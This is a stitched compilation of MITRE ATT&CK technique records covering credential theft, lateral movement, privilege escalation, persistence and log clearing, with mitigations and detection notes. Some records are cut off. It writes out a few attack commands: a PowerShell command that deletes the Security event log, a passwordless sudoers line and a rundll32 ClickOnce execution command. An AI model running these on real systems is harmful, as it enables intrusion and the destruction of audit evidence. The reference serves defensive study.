Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network. In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account.\n\nSimilarly, an adversary with existing access to a network may register a device or a virtual machine to Entra ID and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.\n\nDevices registered in Entra ID may be able to conduct Internal Spearphishing campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client. Additionally, an adversary may be able to perform a Service Exhaustion Flood on an Entra ID tenant by registering a large number of devices.\n\n## Reference: ATT&CK T1550.004 Web Session Cookie\n**ATT&CK T1550.004 Web Session Cookie (full record).** Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.\n\nAuthentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through Steal Web Session Cookie or Web Cookies, the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.\n\nThere have been examples of malware targeting session cookies to bypass multi-factor authentication systems.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: IaaS, Office Suite, SaaS\n- Sub-technique of: T1550 Use Alternate Authentication Material - Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.\n\n**Mitigations.** - **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detect Use of Stolen Web Session Cookies Across Platforms**\n  - Anomalous access to cloud web applications using session tokens without corresponding MFA/credential validation, often from unusual locations or device fingerprints.

These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files. They may also be found as parameters to deployment commands in container logs. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Containers, IaaS, Linux, macOS, Windows\n- Sub-technique of: T1552 Unsecured Credentials - Adversaries may search compromised systems to find and obtain insecurely stored credentials.

Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations.

Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\n\nOn Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadline\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.\n\nUsers often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1552 Unsecured Credentials - Adversaries may search compromised systems to find and obtain insecurely stored credentials.

Performing strong user authentication also requires additional security controls and processes which are often the target of related adversarial techniques (e.g., Valid Accounts, Default Credentials).\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information.

These services are often used to allow operators to interact with systems remotely within the network, some examples are RDP, SMB, SSH, and other similar mechanisms.\n\nRemote services could be used to support remote access, data transmission, authentication, name resolution, and other remote functions. Further, remote services may be necessary to allow operators and administrators to configure systems within the network from their engineering or management workstations. An adversary may use this technique to access devices which may be dual-homed to multiple network segments, and can be used for Program Download or to execute attacks on control devices directly through Valid Accounts.\n\nSpecific remote services (RDP & VNC) may be a precursor to enable Graphical User Interface execution on devices such as HMIs or engineering workstation software.\n\nBased on incident data, CISA and FBI assessed that Chinese state-sponsored actors also compromised various authorized remote access channels, including systems designed to transfer data and/or allow access between corporate and ICS networks.\n\n**Classification.** - Tactics: initial-access, lateral-movement\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Authorization Enforcement**: The device or system should restrict read, manipulate, or execute privileges to only authenticated users who require access based on approved security policies. Role-based Access Control (RBAC) schemes can help reduce the overhead of assigning permissions to the large number of devices within an ICS.

RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz. The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum.\n\nAdversaries may capture RF communications by using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator tuned to the communication frequency. Information transmitted over a wireless medium may be captured in-transit whether the sniffing device is the intended destination or not. This technique may be particularly useful to an adversary when the communications are not encrypted.\n\nIn the 2017 Dallas Siren incident, it is suspected that adversaries likely captured wireless command message broadcasts on a 700 MHz frequency during a regular test of the system. These messages were later replayed to trigger the alarm systems.\n\n**Classification.** - Tactics: discovery, collection\n- Platforms: Embedded, Windows, Linux\n\n**Mitigations.** - **Minimize Wireless Signal Propagation**: Wireless signals frequently propagate outside of organizational boundaries, which provide opportunities for adversaries to monitor or gain unauthorized access to the wireless network.

For example, the system's operational role and model information can dictate whether it is a relevant target for the adversary's operational objectives. In addition, the system's configuration may be used to scope subsequent technique usage.\n\nRequests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware.

Threat actors may Upload Malware to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.\n\nIn some cases, threat actors may compromise and backdoor existing popular libraries (i.e., Compromise Software Dependencies and Development Tools). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\n\n**Classification.** - Tactics: execution\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1204 User Execution - An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link.\n\n**Mitigations.** - **Limit Software Installation**: Prevent users or groups from installing unauthorized or unapproved software to reduce the risk of introducing malicious or vulnerable applications. This can be achieved through allowlists, software restriction policies, endpoint management tools, and least privilege access principles.

To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.\n\nThis technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\n**Classification.** - Tactics: stealth, persistence, command-and-control\n- Platforms: Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1205 Traffic Signaling - Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control.\n\n**Mitigations.** - **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic. This includes protocol-based filtering, enforcing firewall rules, and blocking or restricting traffic based on predefined conditions to limit adversary movement and data exfiltration. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Port-knock → rule/daemon change → first successful connect (T1205.001)**\n  - A remote source rapidly touches a short sequence of closed ports (SYN→RST/S0) on a Windows host. Within a short window the host changes firewall state (WFP rule added/modified or service starts listening) and then the same source completes the first successful handshake to the newly opened port. […]\n\n## Reference: ATT&CK T1205.002 Socket Filters\n**ATT&CK T1205.002 Socket Filters (full record).** Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell.\n\nTo establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria. Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling.\n\nFilters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.\n\n**Classification.** - Tactics: stealth, persistence, command-and-control\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1205 Traffic Signaling - Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control.\n\n**Mitigations.** - **Filter Network Traffic**: Employ network appliances and endpoint software to filter ingress, egress, and lateral network traffic.

Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\n\n## Reference: ATT&CK T1685.005 Clear Windows Event Logs\n**ATT&CK T1685.005 Clear Windows Event Logs (full record).** Adversaries may clear Windows Event Logs to hide the activity of an intrusion.

For example, adversaries may use the PowerShell command `Remove-EventLog -LogName Security` to delete the Security EventLog and after reboot, disable future logging. Note: events may still be generated and logged in the.evtx file between the time the command is run and the reboot.\n\nAdversaries may also attempt to clear logs by directly deleting the stored log files within `C:\\Windows\\System32\\winevt\\logs\\`.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Windows\n- Sub-technique of: T1685 Disable or Modify Tools - Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities.\n\n**Mitigations.** - **Remote Data Storage**: Remote Data Storage focuses on moving critical data, such as security logs and sensitive files, to secure, off-host locations to minimize unauthorized access, tampering, or destruction by adversaries.

(telemetry: WinEventLog:Security:EventCode=4688, WinEventLog:Sysmon:EventCode=7, WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode:ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads)\n\n## Reference: ATT&CK T1548.003 Sudo and Sudo Caching\n**ATT&CK T1548.003 Sudo and Sudo Caching (full record).** Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The `sudo` command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\" Since sudo was made for the system administrator, it has some useful configuration features such as a `timestamp_timeout`, which is the amount of time in minutes between instances of `sudo` before it will re-prompt for a password. This is because `sudo` has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at `/var/db/sudo` with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a `tty_tickets` variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, `/etc/sudoers`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `user1 ALL=(ALL) NOPASSWD: ALL`. Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. […]\n\n## Reference: ATT&CK T1548.004 Elevated Execution with Prompt\n**ATT&CK T1548.004 Elevated Execution with Prompt (full record).** Adversaries may leverage the `AuthorizationExecuteWithPrivileges` API to escalate privileges by prompting the user for credentials. The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.\n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse `AuthorizationExecuteWithPrivileges` to obtain root privileges in order to install malicious software on victims and install persistence mechanisms. This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code. This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1548 Abuse Elevation Control Mechanism - Adversaries may circumvent mechanisms designed to control privilege elevation to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions.

Detection involves correlation of API usage, binary reputation, and prompt context. […]\n\n## Reference: ATT&CK T1548.005 Temporary Elevated Cloud Access\n**ATT&CK T1548.005 Temporary Elevated Cloud Access (full record).** Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own.\n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts. In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.\n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended. […]\n\n## Reference: ATT&CK T1548.006 TCC Manipulation\n**ATT&CK T1548.006 TCC Manipulation (full record).** Adversaries can manipulate or abuse the Transparency, Consent, & Control (TCC) service or database to grant malicious executables elevated permissions. TCC is a Privacy & Security macOS control mechanism used to determine if the running process has permission to access the data or services protected by TCC, such as screen sharing, camera, microphone, or Full Disk Access (FDA).\n\nWhen an application requests to access data or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database, located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent), and an overwrites file (if connected to an MDM) for existing permissions. If permissions do not exist, then the user is prompted to grant permission. Once permissions are granted, the database stores the application's permissions and will not prompt the user again unless reset. For example, when a web browser requests permissions to the user's webcam, once granted the web browser may not explicitly prompt the user again.\n\nAdversaries may access restricted data or services protected by TCC through abusing applications previously granted permissions through Process Injection or executing a malicious binary using another application. For example, adversaries can use Finder, a macOS native app with FDA permissions, to execute a malicious AppleScript. When executing under the Finder App, the malicious AppleScript inherits access to all files on the system without requiring a user prompt. When System Integrity Protection (SIP) is disabled, TCC protections are also disabled. For a system without SIP enabled, adversaries can manipulate the TCC database to add permissions to their malicious executable through loading an adversary controlled TCC database using environment variables and Launchctl.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1548 Abuse Elevation Control Mechanism - Adversaries may circumvent mechanisms designed to control privilege elevation to gain higher-level permissions.

ClickOnce is a deployment that enables a user to create self-updating Windows-based.NET applications (i.e,.XBAP,.EXE, or.DLL) that install and run from a file share or web page with minimal user interaction. The application launches as a child process of DFSVC.EXE, which is responsible for installing, launching, and updating the application.\n\nBecause ClickOnce applications receive only limited permissions, they do not require administrative permissions to install. As such, adversaries may abuse ClickOnce to proxy execution of malicious code without needing to escalate privileges.\n\nClickOnce may be abused in a number of ways. For example, an adversary may rely on User Execution. When a user visits a malicious website, the.NET malware is disguised as legitimate software and a ClickOnce popup is displayed for installation.\n\nAdversaries may also abuse ClickOnce to execute malware via a Rundll32 script using the command `rundll32.exe dfshim.dll,ShOpenVerbApplication1`.\n\nAdditionally, an adversary can move the ClickOnce application file to a remote user’s startup folder for continued malicious code deployment (i.e., Registry Run Keys / Startup Folder).\n\n## Reference: ATT&CK T1550 Use Alternate Authentication Material\n**ATT&CK T1550 Use Alternate Authentication Material (full record).** Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.\n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through Credential Access techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows\n\n**Sub-techniques.** - T1550.004 Web Session Cookie: Adversaries can use stolen session cookies to authenticate to web applications and services.\n- T1550.001 Application Access Token: Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems.\n- T1550.003 Pass the Ticket: Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls.\n- T1550.002 Pass the Hash: Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls.\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. […]\n\n## Reference: ATT&CK T1550.001 Application Access Token\n**ATT&CK T1550.001 Application Access Token (full record).** Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used to access resources in cloud, container-based applications, and software-as-a-service (SaaS).\n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.\n\nFor example, with a cloud-based email service, once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded. With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. In AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account. The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.\n\nDirect API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. […]\n\n## Reference: ATT&CK T1550.002 Pass the Hash\n**ATT&CK T1550.002 Pass the Hash (full record).** Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.\n\nWhen performing PtH, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.\n\nAdversaries may also use stolen password hashes to \"overpass the hash.\" Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform Pass the Ticket attacks.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Windows\n- Sub-technique of: T1550 Use Alternate Authentication Material - Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.\n\n**Mitigations.** - **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **User Account Control**: User Account Control (UAC) is a security feature in Microsoft Windows that prevents unauthorized changes to the operating system. UAC prompts users to confirm or provide administrator credentials when an action requires elevated privileges. Proper configuration of UAC reduces the risk of privilege escalation attacks. […]\n\n## Reference: ATT&CK T1550.003 Pass the Ticket\n**ATT&CK T1550.003 Pass the Ticket (full record).** Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nWhen preforming PtT, valid Kerberos tickets for Valid Accounts are captured by OS Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.\n\nA Silver Ticket can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).\n\nA Golden Ticket can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.\n\nAdversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, \"overpassing the hash\" involves using a NTLM password hash to authenticate as a user (i.e. Pass the Hash) while also using the password hash to create a valid Kerberos ticket.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Windows\n- Sub-technique of: T1550 Use Alternate Authentication Material - Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts).

This mitigation can be implemented through the following measures:\n- **Restrict Web-Based Content**: Restricting web-based content involves enforcing policies and technologies that limit access to potentially malicious websites, unsafe downloads, and unauthorized browser behaviors. This can include URL filtering, download restrictions, script blocking, and extension control to protect against exploitation, phishing, and malware delivery. This mitigation can be implemented through the following measures:\n- **Code Signing**: Code Signing is a security process that ensures the authenticity and integrity of software by digitally signing executables, scripts, and other code artifacts. It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks.\n\n## Reference: ATT&CK T1542.005 TFTP Boot\n**ATT&CK T1542.005 TFTP Boot (full record).** Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with Modify System Image to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to ROMMONkit and may result in the network device running a modified image.\n\n**Classification.** - Tactics: stealth, persistence\n- Platforms: Network Devices\n- Sub-technique of: T1542 Pre-OS Boot - Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system.

These programs control flow of execution before the operating system takes control.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n- **Operating System Configuration**: Operating System Configuration involves adjusting system settings and hardening the default configurations of an operating system (OS) to mitigate adversary exploitation and prevent abuse of system functionality. Proper OS configurations address security vulnerabilities, limit attack surfaces, and ensure robust defense against a wide range of techniques. This mitigation can be implemented through the following measures:\n- **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts).

Property list files use the `Label`, `ProgramArguments `, and `RunAtLoad` keys to identify the Launch Agent's name, executable location, and execution time. Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\nLaunch Agents can also be executed using the Launchctl command.\n\nAdversaries may install a new Launch Agent that executes at login by placing a.plist file into the appropriate folders with the `RunAtLoad` or `KeepAlive` keys set to `true`. The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1543 Create or Modify System Process - Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence.

On Windows and Linux, these system processes are referred to as services.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files. […]\n\n## Reference: ATT&CK T1543.002 Systemd Service\n**ATT&CK T1543.002 Systemd Service (full record).** Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources. Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.\n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).\n\nInside the `.service` unit files, the following directives are used to execute commands:\n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts.\n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped.\n\nAdversaries have created new service files, altered the commands a `.service` file’s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.\n\nThe `.service` file’s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions.\n\nSystemd services can be created via systemd generators, which support the dynamic generation of unit files. Systemd generators are small executables that run during boot or configuration reloads to dynamically create or modify systemd unit files by converting non-native configurations into services, symlinks, or drop-ins (i.e., Boot or Logon Initialization Scripts). […]\n\n## Reference: ATT&CK T1543.003 Windows Service\n**ATT&CK T1543.003 Windows Service (full record).** Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.\n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via Native API functions such as `CreateServiceW` (or manually via functions such as `ZwLoadDriver` and `ZwSetValueKey`), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as `PnPUtil.exe`. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of Exploitation for Privilege Escalation.\n\nServices may be created 